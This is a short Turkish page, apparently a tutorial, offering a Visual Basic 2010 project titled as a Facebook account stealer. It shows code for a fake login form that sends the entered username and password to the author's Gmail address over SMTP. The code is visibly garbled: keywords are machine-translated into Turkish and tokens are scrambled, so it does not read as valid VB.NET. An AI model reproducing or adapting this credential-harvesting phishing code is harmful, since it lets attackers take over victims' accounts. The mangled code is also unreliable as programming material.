Visual Basic 2010 Express Facebook Çalma 2015

Projemi İndirmek

İçin İndir Resmine Tıkla

Şayet şayet KODLAR n n

İthalat Sistemi.Net.Mail (Bu Public Class'un üstüne Form.)

TextBox1.Metin = "" Sonra

("") Kullanıcı Adı Yanlış >

TextBox2.Metin = "" Sonra

("Şifre Yanlış") >

Başka

Eğer Son

Eğer Son

New SmtpClient Dim smtpServer()

Mail Olarak New()Dim MailMessage

smtpServer.Kimlik = New Net.("", "Gmail Şifre")GMail NetworkCredential

'kullanarak gmail

smtpServer.Port = 587

smtpServer.Host = "smtp.gmail.com"

smtpServer.EnableSsl = True

()mail = New MailMessage

posta.= Yeni Postaadresi ("") Gmail

posta.İçin.("") Gmail Ekle

posta.= "Kullanıcı Adı :" & TextBox1.Tabi Metin

posta.Body = "Password :" & TextBox2.& ","Metin

smtpServer.(Posta)göndermek

("Buton yazımız") >

("2")Buton yazımız >